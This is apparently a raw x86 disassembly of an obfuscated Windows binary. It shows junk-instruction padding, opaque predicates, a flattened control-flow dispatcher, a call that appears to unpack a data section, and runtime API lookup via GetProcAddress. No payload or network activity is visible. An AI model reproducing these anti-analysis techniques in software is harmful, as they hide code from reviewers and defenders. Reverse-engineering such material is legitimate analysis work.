sbb edi, 0x53
inc ebx
bswap esi
dec eax
inc ebx
rcr ebx, 0xb0
dec edi
mov esi, 0xf9
inc esi
not ebx
rol edx, 0x59
sub ebx, 0x29
bswap eax
not esi
or eax, 0xc6
mov esi, 0x12
add esi, 0x20
neg ebx
mov ebx, 0x7a
neg edx
bswap edi
bswap eax
bswap edx
and ebx, 0xf
and edi, 0xd9
sbb ebx, 0x59
dec esi
sub esi, 0x1b
sbb esi, 0xc2
inc edi
inc esi
bswap edx
imul ebx
rol edi, 0xce
dec edx
imul edi
bswap edi
not edi
bswap esi
dec eax
dec edi
imul eax
bswap esi
rcl esi, 0xaa
sbb edx, 0xe
inc ebx
and ebx, 0x57
or esi, 0x22
not ebx
sub edi, 0xbe
neg eax
rcl edi, 0x45
inc esi
neg eax
and edi, 0xd7
or ebx, 0xf4
mov edi, 0xab
rcr esi, 0x32
inc edi
imul esi
bswap eax
not eax
mov eax, 0xe8
inc ebx
rcr esi, 0xdb
rcr edx, 0xcb
neg edi
rcr ebx, 0x23
sub edi, 1
imul ebx
sub eax, 0xb0
bswap edx
inc esi
sub edx, 0x2d
and ebx, 0x44
dec eax
or ebx, 0x62
mov eax, 0x56
sub esi, 0x12
mov eax, 0xc0
sbb edx, 0x63
add ebx, 0x40
rol esi, 0x8d
bswap ebx
bswap edi
or esi, 0x9b
inc edx
sbb esi, 0xe7
sbb ebx, 0x7c
rcr eax, 0x2c
rol eax, 0x2c
neg edx
imul edi
rcr ebx, 0x52
mov edi, 0x8e
rcr edi, 0x5f
not ebx
inc edx
add esi, 0xa7
ror eax, 0x6f
ror edi, 0xe0
ror edx, 0x6b
rcl edx, 0x7c
not edi
ror ebx, 8
ror edi, 0x79
add esi, 0x59
sub eax, 0x57
imul esi
mov edx, 0xb5
and eax, 0x64
rcr edx, 0xd4
bswap ebx
ror edi, 0xff
neg esi
rol edx, 0
not esi
imul eax
bswap edi
and esi, 0x3a
imul esi
dec edi
rcl edi, 0xa3
imul esi
or esi, 0x78
dec esi
rcr edx, 0x96
not eax
mov eax, 0x18
bswap ebx
inc edi
neg esi
bswap edx
rcr ebx, 0x58
rol edi, 0x69
dec esi
dec edx
bswap eax
mov eax, 0xf9
sbb esi, 0x2f
inc edi
inc edx
ror eax, 0x17
imul ebx
not eax
sbb esi, 0x17
mov eax, 0xc4
imul edi
bswap edi
rcl edx, 0xab
inc esi
mov edx, 0x89
rcr edx, 0xaf
inc ebx
dec edx
not eax
inc edx
dec edi
neg ebx
dec ebx
rcl edx, 0x69
add eax, 0xc6
inc esi
imul edi
mov edx, 0xba
or esi, 0x9c
add ebx, 0x86
dec eax
neg eax
imul esi
bswap eax
not ebx
neg ebx
dec eax
dec ebx
neg edx
inc esi
imul eax
inc ebx
sbb edi, 0x2b
or ebx, 0xb0
bswap esi
rcl eax, 0x7a
and edx, 0x11
inc esi
ror edx, 0x56
inc edx
bswap eax
neg edx
rcr edx, 0xea
add ebx, 0x30
rol esi, 0x8b
sub eax, 0xe4
inc edx
neg edi
ror eax, 0x82
mov edx, 0x73
mov ebx, 0xeb
bswap eax
imul eax
add esi, 0x94
dec edx
rol edi, 0x3d
ror esi, 0x14
imul edx
and edx, 0x82
not esi
rcl esi, 0x7c
imul edx
rol edx, 0x2c
rcl esi, 0x41
not esi
bswap esi
and edi, 0xbf
bswap ebx
imul edx
inc esi
and edi, 0x2d
ror edi, 0xa5
and eax, 0xb6
neg esi
inc edi
add edx, 0x90
not edi
sbb eax, 0xca
dec edx
rol esi, 4
add eax, 0xe0
imul eax
bswap esi
bswap ebx
sub ebx, 0xd1
sbb edi, 0xe3
not eax
rol eax, 0x3f
bswap esi
inc ebx
imul edx
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x4c000
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x4c]
mov dword [eax], section..data
mov eax, 0x78
and eax, 0x2b
sbb eax, 0x77
mov ebx, 0xed
add esi, 0x9f
inc edi
mov esi, 0xf4
not eax
or edi, 0xdf
bswap esi
inc esi
or ebx, 0x29
rol edx, 0x4e
bswap esi
inc edx
and esi, 0x16
rcr ebx, 0xe9
not esi
dec edx
inc esi
rcr edx, 0xf4
ror edi, 0x3a
imul edi
mov ebx, 0xc7
ror edi, 0xba
neg edx
imul eax
rol edi, 0x7a
and edi, 0xa1
neg edi
bswap eax
not edx
sub ebx, 0x58
dec edi
dec esi
ror eax, 0x4e
dec esi
neg ebx
not eax
add ebx, 0xff
not edi
mov edx, 0x37
and ebx, 8
dec esi
inc edi
mov eax, 0x64
or esi, 0x7b
rcr edx, 0x85
or ebx, 0x63
not ebx
rol edx, 5
not esi
neg edi
mov edi, 0x15
imul edx
add ebx, 0x9b
dec edx
and edx, 0x2c
inc esi
rcr edi, 0xd4
imul edi
add esi, 0x6b
rcl edi, 0x92
or edx, 0xfb
rcl edi, 0x90
rcr ebx, 0x2b
rcl ebx, 0xa4
and ebx, 0xa2
sbb edi, 0x88
not esi
sbb esi, 0x4d
rcr esi, 0xe6
or eax, 0xbd
rol edi, 0x5f
add ebx, 0xaa
rcr ebx, 0x81
sub edx, 6
rol esi, 0xc9
neg edi
neg edi
add ebx, 0x88
bswap ebx
neg ebx
and ebx, 0x2c
not esi
imul edi
sbb ebx, 0x80
dec ebx
dec eax
or ebx, 0xd5
rcl ebx, 0x25
and edx, 0xb3
neg ebx
imul edi
inc esi
not esi
rcl eax, 0x3e
not eax
and esi, 0x66
neg edi
dec edx
ror ebx, 0x8b
not eax
imul edx
dec edi
not ebx
sbb edx, 0x50
not edi
neg eax
not edx
neg edx
mov edi, 0xf1
neg esi
add ebx, 0x80
rol ebx, 0xf4
dec eax
neg eax
mov ebx, 0xa3
ror eax, 0x57
not edx
mov eax, 0x7c
dec edx
or ebx, 1
mov edx, 0xee
sub edx, 0xe8
imul ebx
not ebx
sub esi, 0xbb
sub edi, 0xe7
dec edi
bswap edi
sub ebx, 0x39
inc edx
add ebx, 0xbd
dec esi
ror eax, 0x11
dec esi
not edi
dec edi
rcl edx, 0x2c
bswap ebx
not edx
sbb esi, 1
inc edi
neg esi
rcl edx, 0x6a
imul edi
dec edi
or esi, 0x31
dec edi
bswap edi
rol esi, 0x5c
add ebx, 0xf7
inc edx
bswap edi
dec ebx
and eax, 0x72
and edx, 0xa2
not ebx
inc edi
sub ebx, 0x27
rcr edi, 0x39
not eax
bswap edi
or edi, 0x98
not edx
bswap edx
add eax, 0xab
neg edx
or edi, 0x97
sub edi, 0xbb
not eax
rcl ebx, 0x54
rol ebx, 0x18
bswap edx
add edi, 3
or eax, 0x2e
ror edx, 0xe2
not edi
or esi, 0x91
rol ebx, 0xa5
imul edi
sub esi, 0x69
inc edx
not esi
not ebx
add ebx, 4
not esi
rcr edi, 0xdb
or edx, 0x36
add edx, 0x8f
ror ebx, 0x53
rol esi, 0x97
bswap edx
imul edi
inc edi
rcr eax, 0xe4
dec esi
neg esi
inc ebx
sub ebx, 0xd0
rcr edi, 0x70
bswap esi
rcl ebx, 0x75
mov eax, 0x27
and edi, 0x7a
rcl ebx, 0xc0
imul edx
add edi, 4
bswap esi
ror edi, 9
rcr ebx, 0xc4
add edi, 0x84
neg eax
bswap edi
neg esi
neg edx
or eax, 0xe8
rcl eax, 0x38
imul edi
rol eax, 0xc7
add edi, 0xf7
rcl edi, 0xd8
dec ebx
rcr edx, 0xa
or esi, 0x7f
add edx, 0x7e
add eax, 0x3f
inc edx
inc esi
neg edx
dec ebx
ror esi, 8
rcl esi, 0xc
inc eax
inc ebx
neg edx
rcr edi, 0x41
rcl eax, 0xe1
inc edi
sub ebx, 0x1d
rcl ebx, 0x76
neg eax
bswap edi
imul eax
imul edi
bswap eax
inc esi
ror esi, 0xd5
rol edi, 0x9c
rcr edi, 0x17
mov eax, 0x98
rol esi, 0xc5
or esi, 0x19
rcl esi, 0x51
bswap eax
neg edx
bswap edx
not esi
dec eax
dec ebx
ror esi, 0xb6
mov eax, 0xdb
sub eax, 0x90
inc edi
ror esi, 0xa9
imul ebx
ror eax, 0xee
mov edi, 0x88
neg edi
and edx, 0xf3
bswap ebx
add edi, 0x5b
inc ebx
neg esi
sbb edi, 0x68
rol eax, 0x11
rcr edx, 0x74
dec edi
imul ebx
neg ebx
dec esi
rcr eax, 0x55
rcr edi, 2
add eax, 0x67
or eax, 0x31
sbb edx, 0xcb
dec esi
dec esi
imul esi
imul edi
dec ebx
inc edi
sbb ebx, 0xf7
dec esi
or eax, 0x5a
rcl edx, 0x66
add edi, 0x79
add ebx, 0x1d
neg esi
add eax, 0x4e
rcl eax, 0x9b
rcl edi, 0x4f
bswap ebx
inc edx
imul ebx
bswap ebx
imul edi
rcr ebx, 0x19
neg ebx
inc edi
imul edx
not eax
not edi
rcl edx, 0x5d
not edi
rcl edi, 5
not edi
neg eax
neg edi
ror esi, 0x30
dec edx
rcl ebx, 0x3f
bswap eax
and edi, 0x50
imul eax
rcr edx, 0xb4
neg edi
bswap eax
rol esi, 0x40
mov edi, 0x9f
mov esi, 0x74
not edx
imul eax
or edi, 0x81
dec eax
neg edx
add esi, 0x5a
imul esi
sub eax, 0xf8
imul edi
not esi
add ebx, 1
inc eax
sub edx, 0xba
rol edx, 0x71
rcl ebx, 0x39
neg eax
bswap ebx
ror eax, 0x10
mov edx, 0x4c
bswap eax
rol ebx, 0xc6
rol edi, 0x9c
rcl eax, 0x99
add ebx, 0x16
not ebx
rol edi, 0x51
dec esi
bswap eax
add ebx, 0xa1
imul edx
inc ebx
sbb edi, 0x72
and esi, 0x34
bswap esi
inc edx
sbb esi, 0x42
imul ebx
or edx, 0xcb
bswap eax
not eax
not ebx
bswap esi
imul esi
neg edi
bswap edx
bswap edx
inc esi
not ebx
mov edx, 0xdc
sub esi, 0x5a
or edi, 0x92
rcl ebx, 0x35
rol edx, 0x22
neg edx
or esi, 0x4e
neg edi
add esi, 0x23
sub ebx, 0x8a
bswap ebx
sub edi, 0xad
mov edi, 0x5b
not edi
rcr edi, 1
dec edx
imul edi
inc ebx
mov eax, 0x60
imul esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x1803146
mov esi, edx
and esi, 0xd604c288
and edx, 0x7e464e16
or eax, esi
mov esi, eax
xor esi, 0x1000142
xor eax, 0xfe7fceb9
mov edi, eax
and edi, 0x28d8b61c
and esi, 0xd70441c2
or esi, edi
mov edi, ecx
xor edi, 0xd784f3ce
and edi, ecx
and ecx, 0x81b9b1e9
mov ebx, edi
not ebx
and edi, 0xd72749e3
or ecx, edx
or eax, ebx
and ebx, 0x28d8b61c
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0xd784f3cf
and esi, 0x287b0c30
or eax, esi
mov esi, eax
not esi
and eax, 0xa328129f
and esi, 0x5cd7ed60
or eax, esi
mov esi, eax
xor esi, 0x3200013
xor eax, 0x5cd7ed60
mov edx, eax
and edx, 0xe0c97a8c
and esi, 0x1f368573
or esi, edx
mov edx, ecx
xor edx, 0x1308161
xor ecx, 0x7e464e16
or eax, ecx
and ecx, 0xe0c97a8c
and edx, 0x1f368573
or edx, ecx
not eax
xor edx, esi
mov esi, 0x39924cb4
or eax, edx
mov ecx, eax
not ecx
and eax, 0x117e175a
and ecx, 0xee81e8a5
or eax, ecx
xor eax, 0x117e175a
setne dl
sete ah
cmp dword [0x497380], 0xa
setge al
setl cl
xor cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x56d1596c
cmovne esi, eax
test dl, 1
mov eax, 0x39924cb4
cmovne eax, esi
test cl, 1
cmovne eax, esi
jmp 0x402780
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ecx], eax
mov eax, 0xa9e24ef7
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc4102240
mov esi, eax
and esi, 0x18080c80
and eax, 0xc46a5cd2
or edx, esi
mov esi, edx
xor esi, 0x84000240
xor edx, 0x3befddbf
mov edi, edx
and edi, 0x78917005
and esi, 0x84080ec0
or esi, edi
mov edi, ecx
xor edi, 0xdc182ec0
and edi, ecx
and ecx, 0x3b95a32d
mov ebx, edi
not ebx
and edi, 0x876e8ffa
or eax, ecx
or edx, ebx
and ebx, 0x78917005
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xdc182ec1
and esi, 0x23e7d13e
or edx, esi
mov esi, edx
not esi
and edx, 0xc46a5cd2
mov edi, esi
and edi, 0x3b95a32d
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x8278fd5d
sete ch
setne dl
cmp dword [0x497380], 0xa
setge cl
setl al
mov ah, cl
and dl, al
inc al
xor ah, ch
and al, ch
and ah, cl
and cl, ch
or al, dl
or cl, dl
mov dl, ah
xor ah, cl
xor dl, 1
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x51bd5c30
cmovne ecx, esi
test al, al
mov eax, 0x51bd5c30
jmp 0x402771
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x376aa325
and ecx, 0xc8955cda
or edx, ecx
xor edx, 0x376aa325
or eax, edx
mov esi, eax
xor esi, 0x5ffd66c0
mov ecx, eax
and ecx, 0xf9ee2e2c
and esi, eax
not eax
and eax, 0x611d1d3
or ecx, eax
mov eax, ecx
xor eax, 0xf9ee2e2c
xor ecx, 0x4018112
mov edx, eax
and edx, 0x5ffd66c0
or eax, 1
and ecx, 0xfd05af1e
or edx, esi
not esi
and eax, 0x2fa50e1
or eax, ecx
and esi, 0xa002993e
and edx, 0x5ffd66c1
or edx, esi
xor eax, 0x2fa50e1
mov esi, 0xa05cc3d8
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf89ce241
and ecx, 0x7631dbe
or eax, ecx
xor eax, 0xf89ce241
setne ah
sete dh
cmp dword [0x497380], 0xa
setl ch
setge dl
mov cl, ch
mov al, dl
xor ch, dh
or al, dh
and dh, dl
and cl, ah
or dl, ah
or cl, dh
xor dl, 1
xor al, 1
xor cl, 1
or dl, ch
or al, dh
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov ch, cl
mov dl, ah
xor ah, cl
xor cl, 1
and ch, al
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x716a25a
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x716a25a
jmp 0x402777
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, dword [ebp - 0xe8]
add eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x13c]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x84]
mov eax, 0x585551fa
jmp 0x402780
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
mov dword [ebp - 0x124], eax
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0xef5698f5
and edx, 0x10a9670a
mov esi, eax
not esi
and eax, 0xc08a8f03
or ecx, edx
mov edx, ecx
xor edx, 0xc0028801
xor ecx, 0x10a9670a
mov edi, ecx
or ecx, esi
and esi, 0x3f7570fc
and edi, 0x3f7570fc
and edx, 0xc08a8f03
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x2498930
mov esi, ecx
xor esi, 0xdb00482
mov edx, ecx
not edx
and ecx, 0x526f69ae
and esi, 0x8db654c7
and eax, 0x7249ab38
or eax, esi
mov esi, edx
and esi, 0xad909651
and edx, 1
or esi, ecx
mov edi, eax
xor edi, 0xd0043004
xor eax, 0xff98db3
mov ecx, esi
xor ecx, 0x526f69af
xor esi, 0x84009000
and edi, 0xd44db084
or edx, ecx
mov ecx, eax
and ecx, 0x2bb24f7b
and esi, 0xd44db084
or eax, edx
and edx, 0x2bb24f7b
or edi, ecx
or esi, edx
not eax
xor esi, edi
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xc2401000
and eax, 0x49c2263
mov edx, ecx
or edx, 0x10234c18
and esi, 0xd2635c18
and ecx, 0x29008184
and edx, 0xd2635c18
or ecx, esi
mov esi, 0xcf7da15e
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x3923cd9c
and ecx, 0xc6dc3263
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x36e7bcf9
and ecx, 0xc9184306
or eax, ecx
mov ecx, eax
xor ecx, 0x3407a059
xor eax, 0xc9000202
and eax, 0xcbe01ea2
and ecx, 0x341fe15d
or ecx, eax
cmp ecx, 0x341fe15d
sete dl
cmp dword [0x497380], 0xa
setge cl
setl al
xor al, dl
xor dl, cl
and cl, dl
mov ch, al
xor cl, 1
xor ch, 1
mov ah, cl
or cl, dl
xor ah, dl
mov edx, eax
xor cl, 1
and dl, ch
or cl, ah
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x9b80ecac
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x9b80ecac
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402780
mov eax, 0xb8c1296d
jmp 0x402780
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x5c]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, 0xf9a6544f
jmp 0x402780
mov eax, 0x2f2d2e96
jmp 0x402780
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, 0xf371c15d
jmp 0x402780
mov eax, 0x9cfeba27
jmp 0x402780
mov ecx, dword [0x497384]
mov edi, 0xa8550514
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x550b685f
and ecx, 0xaaf497a0
or eax, ecx
mov ecx, eax
xor eax, 0x80f405a0
xor ecx, 0x550b685f
mov edx, ecx
and eax, 0x94f62de9
and edx, 0x6b09d216
and ecx, 1
or edx, eax
mov esi, edx
xor esi, 0x6b09d216
xor edx, 0x84900c60
mov eax, esi
and esi, 0xfffffffe
or eax, 1
and edx, 0x87999c64
or ecx, esi
mov esi, eax
and esi, 0x7866639a
or edx, esi
mov esi, ecx
not esi
and ecx, 0x87999c65
or eax, esi
and esi, 0x7866639a
or ecx, esi
not eax
mov esi, 0xd603c363
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0xafdb0ca
mov ecx, eax
and ecx, 0xab13040
and edx, eax
not eax
and eax, 0x4c808a
or ecx, eax
xor ecx, 0xab13040
or ecx, edx
not edx
and edx, 0xf5024f35
and ecx, 0xafdb0ca
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf4ce1949
mov edx, eax
and edx, 0xb31e6b6
or ecx, edx
xor ecx, 0xf4ce1949
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x497380], 0xa
mov dh, dl
setge cl
setl ch
or dh, ch
and dl, ch
mov ch, cl
mov al, cl
xor ch, ah
or al, ah
xor dh, 1
and ch, cl
and cl, ah
xor al, 1
or cl, dl
mov dl, ch
or al, dh
xor ch, cl
xor dl, 1
xor cl, 1
xor al, 1
or cl, dl
mov edx, eax
xor cl, 1
or cl, ch
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xa8550514
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, edi
test dl, 1
cmovne eax, ecx
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x9b7beda9
mov eax, ecx
or eax, 0x64841256
and edx, ecx
not ecx
mov edi, eax
and edi, 0x43ade892
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x98520529
and edx, 0xbc52176d
or eax, ebx
and ebx, 0x43ade892
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x53a3126d
or eax, edx
mov edx, eax
not edx
and eax, 0xcab7ea4
and edx, 0xf354815b
or eax, edx
mov edx, eax
xor edx, 0x13001000
xor eax, 0x402948a2
and eax, 0xc4f9cbae
and edx, 0x3b063451
or edx, eax
xor edx, 0x3b063451
or edx, ecx
xor edx, 0xffffffff
sete ah
setne ch
cmp dword [0x497380], 0xa
mov cl, ah
setl al
setge dl
xor cl, al
xor ch, dl
or dl, ah
or al, ah
and cl, ah
xor al, 1
xor cl, 1
or al, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x5657e359
cmovne ecx, esi
test al, 1
mov eax, 0x5657e359
jmp 0x4120c2
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x28138030
and edx, 0x14a81000
or eax, edx
mov edx, ecx
xor edx, 0x3cbb9030
mov esi, eax
xor esi, 0x28120010
xor eax, 0xd7ec7fcf
and edx, ecx
mov edi, eax
and edi, 0x4cdcfe7
and esi, 0x38321010
or esi, edi
mov edi, edx
not edi
and edx, 0xfb323018
or eax, edi
and edi, 0x4cdcfe7
or edx, edi
not eax
mov edi, 0x8f8eabd9
xor edx, esi
mov esi, 0xc27c0f3d
or eax, edx
mov edx, eax
not edx
and eax, 0x3cbb9031
and edx, 0xc3446fce
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x497380], 0xa
setl cl
setge al
mov ch, cl
or dl, cl
or cl, ah
or al, ah
xor ch, ah
mov ah, al
xor cl, 1
or al, dl
or cl, ch
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x8f8eabd9
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x4128b8
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, 0x1c0d4919
jmp 0x402780
mov eax, dword [ebp - 0x14]
mov eax, 0x77564dd6
jmp 0x402780
mov eax, 0x31fd34f4
jmp 0x402780
mov eax, 0x1002375b
jmp 0x402780
bswap ebx
or ebx, 0xa9
neg eax
not ebx
add eax, 0x95
rcl ebx, 0x4b
inc edi
dec eax
bswap eax
bswap esi
or ebx, 0xf2
bswap eax
mov ebx, 0x21
not edx
or edi, 0x65
rol edx, 0x29
not edi
dec edx
rcr esi, 0x94
imul eax
inc edx
sbb edi, 0x74
dec edi
imul edx
imul esi
bswap ebx
rcl edx, 0x89
dec esi
imul ebx
or edi, 0xd3
rcl edx, 0x3d
not eax
or edi, 5
mov esi, 0x5f
and edi, 0xf8
inc edi
rcr eax, 0x1a
inc ebx
not ebx
dec esi
dec edx
imul edx
sub edi, 0x8d
add edi, 0x79
add eax, 0xb0
neg edi
not esi
dec edx
sub edi, 0x8c
imul ebx
sub edi, 0xc5
inc eax
rcr esi, 0x82
inc ebx
rcr ebx, 0xc4
or ebx, 0x2a
rol eax, 0xcd
rol edi, 0xbb
sbb edx, 0x48
and esi, 0x96
ror edi, 0x3f
dec ebx
mov eax, 0x7b
dec ebx
and eax, 0x6d
neg eax
rol eax, 0xf
sbb eax, 0x95
or edi, 0xee
or edi, 0x27
not edi
bswap esi
bswap eax
bswap eax
sub edi, 0xe8
not edx
rcr ebx, 0xf5
and edi, 0xd7
or edi, 0xed
bswap edi
inc esi
not ebx
sbb eax, 0x4e
rol esi, 0x7d
rcl edi, 0x1f
mov edx, 0x5f
ror edx, 0x67
inc esi
rol eax, 0x24
neg esi
dec esi
imul edi
or esi, 0xd5
rcl eax, 0x2f
sbb edi, 0x23
not edi
sub edi, 0x70
or eax, 0x5c
rcl edx, 0x3e
dec ebx
imul edi
bswap eax
or edi, 0xaa
imul edi
imul edx
imul edi
not edi
not ebx
inc eax
rcr edx, 0x7f
sbb esi, 0x7c
mov eax, 0x4c
dec ebx
dec esi
inc esi
bswap edx
rol edx, 0xae
sbb ebx, 0xfb
bswap eax
sbb edx, 0x26
add ebx, 4
dec eax
rcl ebx, 0xdc
inc ebx
rcl edi, 0xb8
dec ebx
inc edx
imul edx
sbb edi, 0xc8
imul edi
dec edi
imul edi
rol edi, 0xd1
inc eax
and eax, 0x15
bswap esi
and esi, 0xff
add esi, 0xeb
imul edi
imul esi
rcr edx, 0x82
dec eax
or esi, 0xe7
inc eax
rcl edx, 0x2f
ror edx, 0xb7
and edi, 0x46
add ebx, 0x56
add edi, 0xc1
dec edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0xe7969e6
mov esi, ecx
not esi
and edx, 0xf1869619
and ecx, 0xf1869619
or eax, esi
and esi, 0xe7969e6
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x1f064412
and eax, 0xc5be7482
mov esi, edx
and esi, 0xe0f9bbed
or edx, 1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x62f654f5
and esi, 0x9d09ab0a
or ecx, esi
mov esi, ecx
xor esi, 0x800e6400
xor ecx, 0x7df010e6
mov edi, ecx
or ecx, edx
and edx, 0x3a418b7d
and edi, 0x3a418b7d
and esi, 0xc5be7482
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xc8996a1f
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x2cf0af6b
andn ecx, ecx, ecx
and edx, 0xd30f5094
or eax, edx
xor eax, 0x2cf0af6b
or ecx, eax
sete al
setne cl
cmp dword [0x497380], 0xa
setl ah
setge ch
mov dl, ah
and cl, ch
and dl, al
xor al, ah
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
not cl
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x33e723bd
cmovne edx, esi
test al, al
mov eax, 0x33e723bd
jmp 0x4128b5
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x34]
mov eax, 0x53c77720
jmp 0x402780
mov esi, dword [ebp - 0x7c]
mov ecx, esi
not ecx
mov eax, esi
or eax, 0x3000
and esi, 0xffffcfff
mov edx, ecx
and edx, 0x3000
and ecx, 0x80580d72
or edx, esi
mov esi, eax
and esi, 0x7fa7f28d
or ecx, esi
mov esi, edx
not esi
and edx, 0x80580d72
or eax, esi
and esi, 0x7fa7f28d
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb0810000
and eax, 0x4080009
mov edx, ecx
and edx, 0x822bcc0
or ecx, 0x18a18480
or esi, edx
and ecx, 0x5bf5c7b6
mov edx, esi
xor edx, 0xa0000000
xor esi, 0x4b74c7b6
or eax, ecx
and esi, 0x5bf5c7b6
and edx, 0xa0023840
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb8a3bcc0
and ecx, 0x475c433f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbfa1132c
and ecx, 0x405eecd3
or eax, ecx
mov ecx, eax
xor ecx, 0x37a11008
xor eax, 0x401440c1
and eax, 0xc81443e5
and ecx, 0x37ebbc1a
or ecx, eax
cmp ecx, 0x37ebbc1a
mov ecx, dword [0x497384]
setne byte [ebp - 0x90]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xee54a35b
and eax, 0x8650b4a1
mov edx, ecx
and edx, 0x11ab5ca4
or ecx, 0x4490e
or esi, edx
and ecx, 0xd4b0e
mov edx, esi
xor esi, 0x4804
xor edx, 0x68000050
or eax, ecx
